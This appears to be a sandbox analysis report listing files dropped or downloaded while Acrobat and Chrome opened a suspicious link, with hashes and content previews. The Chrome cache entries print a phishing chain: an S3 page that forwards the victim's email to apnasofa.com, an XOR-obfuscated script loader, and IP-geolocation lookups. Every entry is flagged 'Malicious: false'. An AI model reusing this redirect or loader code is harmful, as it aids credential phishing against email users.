SHA-512:	EC6779FE4B48D291A9BA95B2D16E0CB440E1515BB24C0E4A942B22D0326AB856317DE84F405A77AA7C80F8527BB42B18A8A1B9E4B46ED69422D1EAA0D89710D8
Malicious:	false
Preview:	SessionID=f475df16-835d-4a03-97e1-23e7edd70646.1733158506379 Timestamp=2024-12-02T11:55:06:379-0500 ThreadID=7928 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f475df16-835d-4a03-97e1-23e7edd70646.1733158506379 Timestamp=2024-12-02T11:55:06:380-0500 ThreadID=7928 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f475df16-835d-4a03-97e1-23e7edd70646.1733158506379 Timestamp=2024-12-02T11:55:06:380-0500 ThreadID=7928 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f475df16-835d-4a03-97e1-23e7edd70646.1733158506379 Timestamp=2024-12-02T11:55:06:380-0500 ThreadID=7928 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f475df16-835d-4a03-97e1-23e7edd70646.1733158506379 Timestamp=2024-12-02T11:55:06:380-0500 ThreadID=7928 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389852589970325
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r+:y
MD5:	5CEC48FF3726AE49E3636ECF064AC607
SHA1:	8F4B8C7086B1C5C8EA8B39DA3E465350070D94F0
SHA-256:	DAE086B33C660BBA0A549F506EC4AB98DD46A49555DA9B2961223946487F1B2F
SHA-512:	C7B51FD78A256C965616F6610ED83DF83C6B460A6265995BAB08CBF65D65E60C78ADDD2BBB5C03A912068540E8C740ECE8869FDA4CA431577365731925F8A1B4
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\26f2fdec-5048-41c8-a82e-228ba85c3baf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\30719c7e-e665-4a27-87de-bb82e34693f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5702d07f-fa94-47c7-b3f4-c56678f2dd26.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f019eed6-569c-4486-b0c1-001d69f96c7e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Fdpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WL07oXGZIZwYIGNPJF:C3mlind9i4ufFXpAXkrfUs03WLxXGZIF
MD5:	DE3EB0CF81E91B312CDC6D26BF58DEC7
SHA1:	016BB9C5ECAF81AC72A159D83190B90CAFF34F61
SHA-256:	8ECB7BD5B7CC0899F818C63A047F611B719AB4A4E3092458A41949D52F5AF848
SHA-512:	966E6BC34DE913C142E5A8E4B8AB5527C27742A055E1B3E4E8E782DC53160340990788EC8CB86FF7943D70D406F002EFEE2943C64AC6F22A5647302732C701F3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HxMCR:iY
MD5:	33EF2868BE6AA314700E14BD49C768F7
SHA1:	31F61F2918D49D189AD92FB84D8C82B96C075FBE
SHA-256:	A06CB250708EDB37CB17B7ED1019F55808FE237E5B1700722EDF0F451B9ABF92
SHA-512:	1EB3341CE08D51A32F86C61709C6BCFA847761603E5F90584171A29CEDBC78308B9CDCEA9F636107749E76192E5208F17E36A6B59AC6EE0551535A9E8E57959A
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnNhspww4z4xBIFDUMF7i4=?alt=proto
Preview:	CgkKBw1DBe4uGgA=

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8794)
Category:	downloaded
Size (bytes):	8831
Entropy (8bit):	5.2261593995743105
Encrypted:	false
SSDEEP:	192:VpqgJqqWFV1NAAacnKflfbMXv7RcJncmoMO8ejok:Vp3JoF+eKpMXdincmovjr
MD5:	4C1820154EC47B89CA1BB86380227ADF
SHA1:	54EDB576DB3B6FBEB0DD9E06876F842B46E3F0D9
SHA-256:	C603134B41351BA0664DF64D8CBC553080C23E608E84DA12F9250EC53E4B8352
SHA-512:	DB5748AC920DA1B0321AC6B3B91549B00C65316EF960678A28FB56CD40E21C8171E49AE8CEA8A490456297169272A697B49C319CF64DE2613CB9AF6910E1DAD2
Malicious:	false
URL:	https://apnasofa.com/episode/script.js
Preview:	var key = "secretkey";.var script = atob("FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0UPFxFUChANHAIREwcWDgE8HgQKHkVJS0JeSG9DUgYbBRYNUwwQPwoWAgkcU1hDXQwkAwoXFhkKIgQQFwwpHAEfMwsQGQoQF0oKXBERGBFRHQQVGwIVHwoLXRAQFxc1DAAXB0xYeG9US0pWUyIGBkURBgQQH0UFAAoZSzArP0ULExYcYUVZFRANEREdBAtZFAAXNwgVAgk/AQoOJzc4Q0xZCG9DUkVUS0UaHAsQBkUcChYRU1hDBQwaDwoOXQkMEQQAAgoXXQ0CAQ1aGBAbABERGwsTQ1RQSG9DUkVUS0UQFUVLUw0VGA1QUxcGBhAGBUVeVF5pUkVUS0VZBxcaUh5+S0VZU0VDUkVUSxccBxARHEUVHwobWw0CAQ1dUG9ZU0VDUkUJSwYYBwYLUk0RQkUCeUVDUkVUS0VZU0URFxEBGQtZVEJYeEVUS0VZUxhpUkUJYW9ZU0pMUicVGABPR0UGHAYbDwBZFRANEREdBAtzU0UFBwsXHwwWHUUBExYRXVE8HQYMFgBcGBELWkUYeEVUS0VZUxERC0UPYUVZU0VDUkVUS0ULFhEWAAtUCREWEk0QBhddUG9ZU0VDUkUJSwYYBwYLUk0RQkUCeUVDUkVUS0VZU0URFxEBGQtZABERSW9US0VZU0UeeEVUFm9zU0VMXUU9BQwNGgQPGx8RSwILEgdDFwgVAglzU0UCBxEbDBcYEQcGFiAZCgwVU1hDFQAALggYGgklAAoZPjc1W0xYeEVUYUVZXEpDPgoXChEQHAtDNgAADgYNGgoNeEVUChYAHQZDFBAaCBEQHAtDFQAAJwoaEhEKHQs9BQMWW0xDCW9US0VZU0UXABxUEG9ZU0VDUkVUS0VZXEpDIhcdBgQLCkUPHQYVHw

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1871 x 308, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	21327
Entropy (8bit):	7.8373557915707295
Encrypted:	false
SSDEEP:	384:dOKtgdrfxBB7uIPC/gwqaN+v8K6YgEdjyXiIEbXZwkNYhJP8OgL:AK8jxbuT//NNU4X7EbXBNU8OgL
MD5:	AC837B485BC1972521C7D36AE2F98F4C
SHA1:	7901F7AA68B555EFBAA1AD95C9AF1DA21AFD72E0
SHA-256:	25BB457F05BE6DE51815D6619758F22BD413A5DDE4BFFAEDB075DB06D7B9B8F2
SHA-512:	0982C31327AEBCD107E382F317715FCF774CD14DAA3235592ED79930B2BD10F331DBB75565558F50C85AB16A75923DBBB4C0971AA5676A517EFADEDB2E0B5B48
Malicious:	false
URL:	https://apnasofa.com/episode/image/logo.png
Preview:	.PNG........IHDR...O...4.....D.{.....pHYs...#...#.x.?v....tEXtSoftware.Adobe ImageReadyq.e<..R.IDATx...Kr.I. Z...7.+ .n....9...5o3"W .q...@K...2.yQ...WP......x7..p..(>@..w.8.,.YY)!...w.................................7.y.........c_2.R....._..>..a.~L. ..\|...........k.............9^i&..........$........<.......X.<...........................A........`A........ .........,...........S.........S....... x........ x.........O.........O.........).........)......@.<.......X.<...........................A........`A........ .........,...........S.........S....... x........ x.........O.........O.........).........)......@.<.......X.<...........................A........`A........ .........,...........S.........S....... x........ x.........I.......tzz:n?F..o.w.w_.W]..y.......T..6A...........c........>..w......5.L..^K......x......(]..na'..T...\|<;;......O.....W9==.[.......j'x......H:.t..m...P;.S....`-...@........O:==....!.y......$......szz..4.......Xy..........].q.l......).@................n

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	21
Entropy (8bit):	3.463280517810811
Encrypted:	false
SSDEEP:	3:YMb1gXMlY:YMeX6Y
MD5:	188A7DDAF69C860BAF90460AD507337F
SHA1:	530621CCC828AAB3930603814EF80EF1A79103AC
SHA-256:	FE0DA54F56BE632726C7892705F471CC075255DA9D2CEA63AF62699C05FB0A29
SHA-512:	C35AA31D95F3CBA835760FF8434D3B44E4607A43B068480FC9F6599BDADA6B53B362923820ADF073C898D8DDE9515F726F2B7C65662428A5D845116C87D5DC07
Malicious:	false
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"8.46.123.228"}

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8794)
Category:	dropped
Size (bytes):	8831
Entropy (8bit):	5.2261593995743105
Encrypted:	false
SSDEEP:	192:VpqgJqqWFV1NAAacnKflfbMXv7RcJncmoMO8ejok:Vp3JoF+eKpMXdincmovjr
MD5:	4C1820154EC47B89CA1BB86380227ADF
SHA1:	54EDB576DB3B6FBEB0DD9E06876F842B46E3F0D9
SHA-256:	C603134B41351BA0664DF64D8CBC553080C23E608E84DA12F9250EC53E4B8352
SHA-512:	DB5748AC920DA1B0321AC6B3B91549B00C65316EF960678A28FB56CD40E21C8171E49AE8CEA8A490456297169272A697B49C319CF64DE2613CB9AF6910E1DAD2
Malicious:	false
Preview:	var key = "secretkey";.var script = atob("FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0UPFxFUChANHAIREwcWDgE8HgQKHkVJS0JeSG9DUgYbBRYNUwwQPwoWAgkcU1hDXQwkAwoXFhkKIgQQFwwpHAEfMwsQGQoQF0oKXBERGBFRHQQVGwIVHwoLXRAQFxc1DAAXB0xYeG9US0pWUyIGBkURBgQQH0UFAAoZSzArP0ULExYcYUVZFRANEREdBAtZFAAXNwgVAgk/AQoOJzc4Q0xZCG9DUkVUS0UaHAsQBkUcChYRU1hDBQwaDwoOXQkMEQQAAgoXXQ0CAQ1aGBAbABERGwsTQ1RQSG9DUkVUS0UQFUVLUw0VGA1QUxcGBhAGBUVeVF5pUkVUS0VZBxcaUh5+S0VZU0VDUkVUSxccBxARHEUVHwobWw0CAQ1dUG9ZU0VDUkUJSwYYBwYLUk0RQkUCeUVDUkVUS0VZU0URFxEBGQtZVEJYeEVUS0VZUxhpUkUJYW9ZU0pMUicVGABPR0UGHAYbDwBZFRANEREdBAtzU0UFBwsXHwwWHUUBExYRXVE8HQYMFgBcGBELWkUYeEVUS0VZUxERC0UPYUVZU0VDUkVUS0ULFhEWAAtUCREWEk0QBhddUG9ZU0VDUkUJSwYYBwYLUk0RQkUCeUVDUkVUS0VZU0URFxEBGQtZABERSW9US0VZU0UeeEVUFm9zU0VMXUU9BQwNGgQPGx8RSwILEgdDFwgVAglzU0UCBxEbDBcYEQcGFiAZCgwVU1hDFQAALggYGgklAAoZPjc1W0xYeEVUYUVZXEpDPgoXChEQHAtDNgAADgYNGgoNeEVUChYAHQZDFBAaCBEQHAtDFQAAJwoaEhEKHQs9BQMWW0xDCW9US0VZU0UXABxUEG9ZU0VDUkVUS0VZXEpDIhcdBgQLCkUPHQYVHw

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	58
Entropy (8bit):	4.245069356823525
Encrypted:	false
SSDEEP:	3:YWQRAW6k3RA8LQX+yKLrSNMR4:YWQmyRKjKLrVO
MD5:	96CB1B42BD2A4803FCD22A65EA5DFC98
SHA1:	CA4550A99C8B52EDDDCF7D9BFDFEEF85CD78D885
SHA-256:	41C6BA69A3B925B7C2BCFB14F605DD01582E3AC3589D0247A70A0E7F24338904
SHA-512:	DFFB9D78E91D994A6D4554EC08C3C15D1E63E68A97525B930EB109CA9A3CC52D8C9CA3B2BC5A65A645E35DA1AADDB568A8687DCA677B1460539F65CA2D35EF99
Malicious:	false
URL:	https://ipwhois.app/json/8.46.123.228
Preview:	{"success":false,"message":"you've hit the monthly limit"}

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	442
Entropy (8bit):	4.721509219116008
Encrypted:	false
SSDEEP:	6:hxuJzhqIziYcgAjMkBHFiodLcQSpvD9ocMYoQXrA6jMjmmHJ141NLcs4Nhdx434A:hYYxy4LKpvV+6ExHJabLZ4Nbx4IQL
MD5:	495735A2F76DABA1413C4E6E2F30911B
SHA1:	55A577F9EBC9CF60E5931A180CA2C4FF0F896444
SHA-256:	199BD1DDBB59029F61EF8401DA07073AD36DD60EA32B3B2AFDE264DAE949AA58
SHA-512:	413F3E6F0B8543D9826D638B4686443425EC4B6E5FF3602C9AD0A51472D660BF3935B17A0468DB3F8AAC6B3956B3FEF522E8801C8C4F3051E952A0F742BDEB23
Malicious:	false
URL:	https://i--iy.s3.us-east-1.amazonaws.com/vocabulary.html
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <script>. // Get the encoded email parameter from the URL hash. var emailEncoded = window.location.hash.substring(1); // Remove the first character '#'.. // Redirect to the specified URL with the encoded email parameter. window.location.href = "https://apnasofa.com/episode/index#" + emailEncoded;. </script>.</head>.<body>.</body>.</html>.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3703
Entropy (8bit):	4.810174175624268
Encrypted:	false
SSDEEP:	48:czi9BzckSVg7FO9Ets2ve3N8h0BPKqh3GfXsZCSx53ZXHknhi:ukzczuM91IPhEL6sUSx53Z3qc
MD5:	9A15E091F6B3FBF999B00CBD9E6FC5FC
SHA1:	5F6E11417BEA2607EE9C34321C0180C981252767
SHA-256:	70722747860D26455DCD955B57AE5FD9BF15B5A3D6D5CF0D83D413522DB4D11D
SHA-512:	39B802D8F6A003C6BC7CE87D041664A67D1FA67D83C98B8515C93A51B22E71A16B3278253D7DE2A743BFA51DFF321BFB5B4C6B89A709C78AEF0AA8D0BB5D3D47
Malicious:	false
URL:	https://apnasofa.com/episode/style.css
Preview:	* {. margin: 0;. padding: 0;. box-sizing: border-box;.}..body {. background-color: #FFFAFA;. font-family: 'Segoe UI', Arial, sans-serif;. line-height: 1.6;. color: #333;.}...container {. max-width: 800px;. margin: 40px auto;. padding: 20px;. background: #fff;. border-radius: 8px;. box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);.}../* Logo Styles /..logo-container {. text-align: center;. margin-bottom: 20px;. padding: 10px;.}...logo {. max-width: 160px;. height: auto;. margin: 0 auto;.}...verification-section {. text-align: center;. padding: 20px;.}...header {. margin-bottom: 30px;.}...header p {. font-size: 18px;. color: #666;.}../ Email Container Styles */..email-container {. margin: 30px auto;. max-width: 320px;. background: #f8f9fa;. padding: 20px;. border-radius: 6px;. border: 1px solid #e1e1e1;.}...email-box {. display: flex;. align-items: center;. justify-content: center;. gap: 10px

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	687
Entropy (8bit):	5.036546324245533
Encrypted:	false
SSDEEP:	12:YdjYhZImV+xaNmd6wpHKVDosK9Ogi+Bumjc2sVYheq+5OFAtrHJKWeruN7wvX4uZ:Ydj0RNMhH79qmjc20QmJKpyNSX4i
MD5:	A315E2D799EC6E5B18A86AB64FF7D179
SHA1:	79626DC251FBA9CBA353C089011F038843C502BE
SHA-256:	E9451E48696A0ECE088DEF6AB66EE2BE8BB46F3BC4C07448C77999882626AA93
SHA-512:	75072715C413DE825F8F01DEB8E5490863B7CD1A612B240BAE36CF8E3DD75888ABE99678F4E022BBAD0E6E6554C09AC2A31BF11F6805BBEC5CF687C7F11AFA7D
Malicious:	false
Preview:	{"ip":"8.46.123.228","success":true,"type":"IPv4","continent":"North America","continent_code":"NA","country":"United States","country_code":"US","country_flag":"https:\/\/cdn.ipwhois.io\/flags\/us.svg","country_capital":"Washington D.C.","country_phone":"+1","country_neighbours":"CA,MX","region":"New York","city":"New York","latitude":40.7127837,"longitude":-74.0059413,"asn":"AS3356","org":"CenturyLink Communications, LLC","isp":"Level","timezone":"America\/New_York","timezone_name":"EST","timezone_dstOffset":0,"timezone_gmtOffset":-18000,"timezone_gmt":"-05:00","currency":"US Dollar","currency_code":"USD","currency_symbol":"$","currency_rates":1,"currency_plural":"US dollars"}

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1871 x 308, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	7.8373557915707295
Encrypted:	false
SSDEEP:	384:dOKtgdrfxBB7uIPC/gwqaN+v8K6YgEdjyXiIEbXZwkNYhJP8OgL:AK8jxbuT//NNU4X7EbXBNU8OgL
MD5:	AC837B485BC1972521C7D36AE2F98F4C
SHA1:	7901F7AA68B555EFBAA1AD95C9AF1DA21AFD72E0
SHA-256:	25BB457F05BE6DE51815D6619758F22BD413A5DDE4BFFAEDB075DB06D7B9B8F2
SHA-512:	0982C31327AEBCD107E382F317715FCF774CD14DAA3235592ED79930B2BD10F331DBB75565558F50C85AB16A75923DBBB4C0971AA5676A517EFADEDB2E0B5B48
Malicious:	false
Preview:	.PNG........IHDR...O...4.....D.{.....pHYs...#...#.x.?v....tEXtSoftware.Adobe ImageReadyq.e<..R.IDATx...Kr.I. Z...7.+ .n....9...5o3"W .q...@K...2.yQ...WP......x7..p..(>@..w.8.,.YY)!...w.................................7.y.........c_2.R....._..>..a.~L. ..\|...........k.............9^i&..........$........<.......X.<...........................A........`A........ .........,...........S.........S....... x........ x.........O.........O.........).........)......@.<.......X.<...........................A........`A........ .........,...........S.........S....... x........ x.........O.........O.........).........)......@.<.......X.<...........................A........`A........ .........,...........S.........S....... x........ x.........I.......tzz:n?F..o.w.w_.W]..y.......T..6A...........c........>..w......5.L..^K......x......(]..na'..T...\|<;;......O.....W9==.[.......j'x......H:.t..m...P;.S....`-...@........O:==....!.y......$......szz..4.......Xy..........].q.l......).@................n

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.463280517810811
Encrypted:	false
SSDEEP:	3:YMb1gXMlY:YMeX6Y
MD5:	188A7DDAF69C860BAF90460AD507337F
SHA1:	530621CCC828AAB3930603814EF80EF1A79103AC
SHA-256:	FE0DA54F56BE632726C7892705F471CC075255DA9D2CEA63AF62699C05FB0A29
SHA-512:	C35AA31D95F3CBA835760FF8434D3B44E4607A43B068480FC9F6599BDADA6B53B362923820ADF073C898D8DDE9515F726F2B7C65662428A5D845116C87D5DC07
Malicious:	false
Preview:	{"ip":"8.46.123.228"}

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1471
Entropy (8bit):	4.503003910018644
Encrypted:	false
SSDEEP:	24:hYkCnJyyX5OQm06DRiaRvusNNoZPddWBHZ4T:GlURiYhodWBHGT
MD5:	81D8BB621BA6DDE48C3AF9A15405F15C
SHA1:	AC555BEC026EB9BF2E8DB8872F84F918CE8EEDDF
SHA-256:	C3F0AC0A08C17363CF98B835232E5FC783425538895E2ED0C6FDF686BC627BD1
SHA-512:	E6E59B1994A1713A4915B9293FAE487CDFD5081E02A02FAAFC0580AD34AEBA1816011CB91968CDE2CA400175C8BFF0169B9854CF138B8450DB39A37B587D8968
Malicious:	false
URL:	https://apnasofa.com/episode/index
